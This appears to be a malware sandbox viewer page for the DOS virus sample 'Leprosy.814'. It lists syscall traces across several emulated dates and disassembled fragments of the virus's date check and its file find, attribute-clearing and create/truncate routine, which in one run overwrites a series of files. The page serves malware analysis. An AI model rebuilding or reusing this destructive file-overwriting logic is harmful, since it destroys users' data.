Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.814

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:50:01.36971189Z 48 PC: 12b36 | Get DOS version
2018-12-17T22:50:01.371398551Z 44 PC: 12b3e | Get time 0x12b3e: mov byte ptr [0x103], dl
0x12b42: mov dx, 0x146
0x12b45: mov ah, 0x1a
0x12b47: int 0x21
0x12b49: mov ah, 0x19
0x12b4b: int 0x21
0x12b4d: mov dl, al
0x12b4f: inc dl
0x12b51: mov ah, 0x47
0x12b53: mov si, 0x1a5
0x12b56: int 0x21
0x12b58: mov dx, 0x144
0x12b5b: mov ah, 0x3b
0x12b5d: int 0x21
0x12b5f: mov cx, 0x13
0x12b62: mov dx, 0x138
0x12b65: mov ah, 0x4e
0x12b67: int 0x21
0x12b69: cmp ax, 0x12
0x12b6c: jne 0x12b71
2018-12-17T22:50:01.374679403Z 26 PC: 12b49 | Set disk transfer address
2018-12-17T22:50:01.376256902Z 25 PC: 12b4d | Get default drive
2018-12-17T22:50:01.377859418Z 71 PC: 12b58 | Get current directory
2018-12-17T22:50:01.381904008Z 59 PC: 12b5f | Change current directory
2018-12-17T22:50:01.386671219Z 78 PC: 12b69 | Find first file
2018-12-17T22:50:01.393447362Z 87 PC: 12c4d | Get or set file date and time
2018-12-17T22:50:01.396233007Z 67 PC: 12c59 | Get or set file attributes
2018-12-17T22:50:01.398640795Z 59 PC: 12c60 | Change current directory
2018-12-17T22:50:01.403416158Z 59 PC: 12c67 | Change current directory
2018-12-17T22:50:01.406445838Z 42 PC: 12c6b | Get date 0x12c6b: cmp cx, 0x7c8
0x12c6f: jb 0x12ca1
0x12c71: cmp dl, 0x1d
0x12c74: jb 0x12ca1
0x12c76: cmp al, 6
0x12c78: jne 0x12ca1
0x12c7a: mov dx, 0x146
0x12c7d: mov ah, 0x1a
0x12c7f: int 0x21
0x12c81: mov ah, 0x4e
0x12c83: mov cx, 7
0x12c86: mov dx, 0x140
0x12c89: int 0x21
0x12c8b: jb 0x12ca1
0x12c8d: mov ax, 0x4301
0x12c90: xor cx, cx
0x12c92: int 0x21
0x12c94: mov dx, 0x164
0x12c97: mov ah, 0x3c
0x12c99: int 0x21
2018-12-17T22:50:01.409044752Z 76 PC: 12ca6 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":29,"Month":1,"Year":1992,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10080,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:09.807391648Z 48 PC: 12b36 | Get DOS version
2018-12-25T12:27:09.811113124Z 44 PC: 12b3e | Get time 0x12b3e: mov byte ptr [0x103], dl
0x12b42: mov dx, 0x146
0x12b45: mov ah, 0x1a
0x12b47: int 0x21
0x12b49: mov ah, 0x19
0x12b4b: int 0x21
0x12b4d: mov dl, al
0x12b4f: inc dl
0x12b51: mov ah, 0x47
0x12b53: mov si, 0x1a5
0x12b56: int 0x21
0x12b58: mov dx, 0x144
0x12b5b: mov ah, 0x3b
0x12b5d: int 0x21
0x12b5f: mov cx, 0x13
0x12b62: mov dx, 0x138
0x12b65: mov ah, 0x4e
0x12b67: int 0x21
0x12b69: cmp ax, 0x12
0x12b6c: jne 0x12b71
2018-12-25T12:27:09.814362149Z 26 PC: 12b49 | Set disk transfer address
2018-12-25T12:27:09.816304326Z 25 PC: 12b4d | Get default drive
2018-12-25T12:27:09.819338512Z 71 PC: 12b58 | Get current directory
2018-12-25T12:27:09.823011434Z 59 PC: 12b5f | Change current directory
2018-12-25T12:27:09.827220504Z 78 PC: 12b69 | Find first file
2018-12-25T12:27:09.838354449Z 87 PC: 12c4d | Get or set file date and time
2018-12-25T12:27:09.854971246Z 67 PC: 12c59 | Get or set file attributes
2018-12-25T12:27:09.857058639Z 59 PC: 12c60 | Change current directory
2018-12-25T12:27:09.861203209Z 59 PC: 12c67 | Change current directory
2018-12-25T12:27:09.863316599Z 42 PC: 12c6b | Get date 0x12c6b: cmp cx, 0x7c8
0x12c6f: jb 0x12ca1
0x12c71: cmp dl, 0x1d
0x12c74: jb 0x12ca1
0x12c76: cmp al, 6
0x12c78: jne 0x12ca1
0x12c7a: mov dx, 0x146
0x12c7d: mov ah, 0x1a
0x12c7f: int 0x21
0x12c81: mov ah, 0x4e
0x12c83: mov cx, 7
0x12c86: mov dx, 0x140
0x12c89: int 0x21
0x12c8b: jb 0x12ca1
0x12c8d: mov ax, 0x4301
0x12c90: xor cx, cx
0x12c92: int 0x21
0x12c94: mov dx, 0x164
0x12c97: mov ah, 0x3c
0x12c99: int 0x21
2018-12-25T12:27:09.865428495Z 76 PC: 12ca6 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":29,"Month":2,"Year":1992,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10080,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:09.919962195Z 48 PC: 12b36 | Get DOS version
2018-12-25T12:27:09.922630304Z 44 PC: 12b3e | Get time 0x12b3e: mov byte ptr [0x103], dl
0x12b42: mov dx, 0x146
0x12b45: mov ah, 0x1a
0x12b47: int 0x21
0x12b49: mov ah, 0x19
0x12b4b: int 0x21
0x12b4d: mov dl, al
0x12b4f: inc dl
0x12b51: mov ah, 0x47
0x12b53: mov si, 0x1a5
0x12b56: int 0x21
0x12b58: mov dx, 0x144
0x12b5b: mov ah, 0x3b
0x12b5d: int 0x21
0x12b5f: mov cx, 0x13
0x12b62: mov dx, 0x138
0x12b65: mov ah, 0x4e
0x12b67: int 0x21
0x12b69: cmp ax, 0x12
0x12b6c: jne 0x12b71
2018-12-25T12:27:09.924863198Z 26 PC: 12b49 | Set disk transfer address
2018-12-25T12:27:09.926053599Z 25 PC: 12b4d | Get default drive
2018-12-25T12:27:09.927243928Z 71 PC: 12b58 | Get current directory
2018-12-25T12:27:09.930681038Z 59 PC: 12b5f | Change current directory
2018-12-25T12:27:09.934639077Z 78 PC: 12b69 | Find first file
2018-12-25T12:27:09.940619322Z 87 PC: 12c4d | Get or set file date and time
2018-12-25T12:27:09.943475533Z 67 PC: 12c59 | Get or set file attributes
2018-12-25T12:27:09.945709625Z 59 PC: 12c60 | Change current directory
2018-12-25T12:27:09.95008484Z 59 PC: 12c67 | Change current directory
2018-12-25T12:27:09.952471393Z 42 PC: 12c6b | Get date 0x12c6b: cmp cx, 0x7c8
0x12c6f: jb 0x12ca1
0x12c71: cmp dl, 0x1d
0x12c74: jb 0x12ca1
0x12c76: cmp al, 6
0x12c78: jne 0x12ca1
0x12c7a: mov dx, 0x146
0x12c7d: mov ah, 0x1a
0x12c7f: int 0x21
0x12c81: mov ah, 0x4e
0x12c83: mov cx, 7
0x12c86: mov dx, 0x140
0x12c89: int 0x21
0x12c8b: jb 0x12ca1
0x12c8d: mov ax, 0x4301
0x12c90: xor cx, cx
0x12c92: int 0x21
0x12c94: mov dx, 0x164
0x12c97: mov ah, 0x3c
0x12c99: int 0x21
2018-12-25T12:27:09.954770064Z 26 PC: 12c81 | Set disk transfer address
2018-12-25T12:27:09.956047267Z 78 PC: 12c8b | Find first file
2018-12-25T12:27:09.970988013Z 67 PC: 12c94 | Get or set file attributes
2018-12-25T12:27:09.980842905Z 60 PC: 12c9b | Create or truncate file
2018-12-25T12:27:10.67799239Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.681517477Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.698148849Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.718295499Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.721879007Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.737989384Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.756478332Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.760774841Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.775387528Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.795513929Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.798703305Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.814969785Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.825117536Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.827151624Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.84016533Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.850825052Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.852823013Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.861325474Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.871158702Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.873255695Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.886677512Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.926925592Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.930333729Z 67 PC: 12c94 | Get or set file attributes (See above)
2018-12-25T12:27:10.951467325Z 60 PC: 12c9b | Create or truncate file (See above)
2018-12-25T12:27:10.965791626Z 79 PC: 12c8b | Find next file (See above)
2018-12-25T12:27:10.968419051Z 76 PC: 12ca6 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10080,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:10.053809319Z 48 PC: 12b36 | Get DOS version
2018-12-25T12:27:10.056150346Z 44 PC: 12b3e | Get time 0x12b3e: mov byte ptr [0x103], dl
0x12b42: mov dx, 0x146
0x12b45: mov ah, 0x1a
0x12b47: int 0x21
0x12b49: mov ah, 0x19
0x12b4b: int 0x21
0x12b4d: mov dl, al
0x12b4f: inc dl
0x12b51: mov ah, 0x47
0x12b53: mov si, 0x1a5
0x12b56: int 0x21
0x12b58: mov dx, 0x144
0x12b5b: mov ah, 0x3b
0x12b5d: int 0x21
0x12b5f: mov cx, 0x13
0x12b62: mov dx, 0x138
0x12b65: mov ah, 0x4e
0x12b67: int 0x21
0x12b69: cmp ax, 0x12
0x12b6c: jne 0x12b71
2018-12-25T12:27:10.058878655Z 26 PC: 12b49 | Set disk transfer address
2018-12-25T12:27:10.060188375Z 25 PC: 12b4d | Get default drive
2018-12-25T12:27:10.061506426Z 71 PC: 12b58 | Get current directory
2018-12-25T12:27:10.065165195Z 59 PC: 12b5f | Change current directory
2018-12-25T12:27:10.069318673Z 78 PC: 12b69 | Find first file
2018-12-25T12:27:10.081061371Z 87 PC: 12c4d | Get or set file date and time
2018-12-25T12:27:10.084084662Z 67 PC: 12c59 | Get or set file attributes
2018-12-25T12:27:10.085810392Z 59 PC: 12c60 | Change current directory
2018-12-25T12:27:10.089928369Z 59 PC: 12c67 | Change current directory
2018-12-25T12:27:10.093981032Z 42 PC: 12c6b | Get date 0x12c6b: cmp cx, 0x7c8
0x12c6f: jb 0x12ca1
0x12c71: cmp dl, 0x1d
0x12c74: jb 0x12ca1
0x12c76: cmp al, 6
0x12c78: jne 0x12ca1
0x12c7a: mov dx, 0x146
0x12c7d: mov ah, 0x1a
0x12c7f: int 0x21
0x12c81: mov ah, 0x4e
0x12c83: mov cx, 7
0x12c86: mov dx, 0x140
0x12c89: int 0x21
0x12c8b: jb 0x12ca1
0x12c8d: mov ax, 0x4301
0x12c90: xor cx, cx
0x12c92: int 0x21
0x12c94: mov dx, 0x164
0x12c97: mov ah, 0x3c
0x12c99: int 0x21
2018-12-25T12:27:10.096113131Z 76 PC: 12ca6 | Terminate with return code (Return code = '0')

{"DateBased":true,"Day":1,"Month":1,"Year":1992,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":10080,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:27:10.27617341Z 48 PC: 12b36 | Get DOS version
2018-12-25T12:27:10.283192607Z 44 PC: 12b3e | Get time 0x12b3e: mov byte ptr [0x103], dl
0x12b42: mov dx, 0x146
0x12b45: mov ah, 0x1a
0x12b47: int 0x21
0x12b49: mov ah, 0x19
0x12b4b: int 0x21
0x12b4d: mov dl, al
0x12b4f: inc dl
0x12b51: mov ah, 0x47
0x12b53: mov si, 0x1a5
0x12b56: int 0x21
0x12b58: mov dx, 0x144
0x12b5b: mov ah, 0x3b
0x12b5d: int 0x21
0x12b5f: mov cx, 0x13
0x12b62: mov dx, 0x138
0x12b65: mov ah, 0x4e
0x12b67: int 0x21
0x12b69: cmp ax, 0x12
0x12b6c: jne 0x12b71
2018-12-25T12:27:10.285860933Z 26 PC: 12b49 | Set disk transfer address
2018-12-25T12:27:10.28719773Z 25 PC: 12b4d | Get default drive
2018-12-25T12:27:10.288556896Z 71 PC: 12b58 | Get current directory
2018-12-25T12:27:10.294216248Z 59 PC: 12b5f | Change current directory
2018-12-25T12:27:10.304614177Z 78 PC: 12b69 | Find first file
2018-12-25T12:27:10.32506425Z 87 PC: 12c4d | Get or set file date and time
2018-12-25T12:27:10.337219375Z 67 PC: 12c59 | Get or set file attributes
2018-12-25T12:27:10.339770227Z 59 PC: 12c60 | Change current directory
2018-12-25T12:27:10.344793535Z 59 PC: 12c67 | Change current directory
2018-12-25T12:27:10.348572105Z 42 PC: 12c6b | Get date 0x12c6b: cmp cx, 0x7c8
0x12c6f: jb 0x12ca1
0x12c71: cmp dl, 0x1d
0x12c74: jb 0x12ca1
0x12c76: cmp al, 6
0x12c78: jne 0x12ca1
0x12c7a: mov dx, 0x146
0x12c7d: mov ah, 0x1a
0x12c7f: int 0x21
0x12c81: mov ah, 0x4e
0x12c83: mov cx, 7
0x12c86: mov dx, 0x140
0x12c89: int 0x21
0x12c8b: jb 0x12ca1
0x12c8d: mov ax, 0x4301
0x12c90: xor cx, cx
0x12c92: int 0x21
0x12c94: mov dx, 0x164
0x12c97: mov ah, 0x3c
0x12c99: int 0x21
2018-12-25T12:27:10.35155873Z 76 PC: 12ca6 | Terminate with return code (Return code = '0')